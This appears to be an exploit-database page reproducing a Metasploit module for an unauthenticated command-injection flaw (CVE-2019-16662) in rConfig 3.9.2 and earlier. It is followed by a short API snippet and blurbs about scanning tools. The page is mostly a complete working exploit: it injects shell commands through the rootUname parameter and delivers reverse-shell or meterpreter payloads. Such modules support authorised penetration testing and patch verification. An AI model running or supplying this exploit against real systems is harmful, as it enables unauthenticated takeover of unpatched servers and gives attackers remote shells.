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"rConfig - install Command Execution (Metasploit)"

Author

Exploit author

Metasploit

Platform

Exploit platform

linux

Release date

Exploit published date

2019-11-08

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'rConfig install Command Execution',
      'Description'    => %q{
        This module exploits an unauthenticated command injection vulnerability
        in rConfig versions 3.9.2 and prior. The `install` directory is not
        automatically removed after installation, allowing unauthenticated users
        to execute arbitrary commands via the `ajaxServerSettingsChk.php` file
        as the web server user.

        This module has been tested successfully on rConfig version 3.9.2 on
        CentOS 7.7.1908 (x64).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'mhaskar', # Discovery and exploit
          'bcoles'   # Metasploit
        ],
      'References'     =>
        [
          ['CVE', '2019-16662'],
          ['EDB', '47555'],
          ['URL', 'https://gist.github.com/mhaskar/ceb65fa4ca57c3cdccc1edfe2390902e'],
          ['URL', 'https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/']
        ],
      'Platform'       => %w[unix linux],
      'Arch'           => [ARCH_CMD, ARCH_X86, ARCH_X64],
      'Payload'        => {'BadChars' => "\x00\x0a\x0d\x26"},
      'Targets'        =>
        [
          ['Automatic (Unix In-Memory)',
            'Platform'       => 'unix',
            'Arch'           => ARCH_CMD,
            'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
            'Type'           => :unix_memory
          ],
          ['Automatic (Linux Dropper)',
            'Platform'       => 'linux',
            'Arch'           => [ARCH_X86, ARCH_X64],
            'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'},
            'Type'           => :linux_dropper
          ]
        ],
      'Privileged'     => false,
      'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 },
      'DisclosureDate' => '2019-10-28',
      'DefaultTarget'  => 0))
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to rConfig install directory', '/install/'])
      ])
  end

  def check
    res = execute_command('id')

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    if res.code == 404
      vprint_error 'Could not find install directory'
      return CheckCode::Safe
    end

    cmd_res = res.body.scan(%r{The root details provided have not passed: (.+?)<\\/}).flatten.first

    unless cmd_res
      return CheckCode::Safe
    end

    vprint_status "Response: #{cmd_res}"

    unless cmd_res.include?('uid=')
      return CheckCode::Detected
    end

    CheckCode::Vulnerable
  end

  def execute_command(cmd, opts = {})
    vprint_status "Executing command: #{cmd}"
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/lib/ajaxHandlers/ajaxServerSettingsChk.php'),
      'vars_get' => {'rootUname' => ";#{cmd} #"}
    }, 5)
  end

  def exploit
    unless [CheckCode::Detected, CheckCode::Vulnerable].include? check
      fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable"
    end

    case target['Type']
    when :unix_memory
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager(:linemax => 1_500)
    end
  end
end
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import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47602/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

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